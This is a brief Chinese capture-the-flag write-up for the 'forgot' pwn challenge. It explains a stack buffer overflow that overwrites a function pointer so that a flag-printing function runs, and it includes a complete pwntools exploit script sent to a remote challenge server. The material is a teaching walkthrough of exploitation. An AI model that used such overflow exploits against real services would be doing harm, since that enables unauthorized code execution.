代码最后调用了v3为基础，v14为偏移的地址的函数
然后发现v2可以溢出，并且可以覆盖掉v3
所以我们把v3覆盖为sub_80486CC的地址（此处输出flag）
之后要解决的就是不让v14改变
直接让第一个判断函数不通过即可
‘\x47‘就可以不通过
from pwn import * # io=process(‘./forgot‘) io=remote(‘111.198.29.45‘,41178) io.sendline(‘fuck‘) addr=0x80486CC payload=‘\x47‘*(0x20)+p32(addr) io.sendline(payload) io.interactive() # i am a pig
原文：https://www.cnblogs.com/lxy8584099/p/11882804.html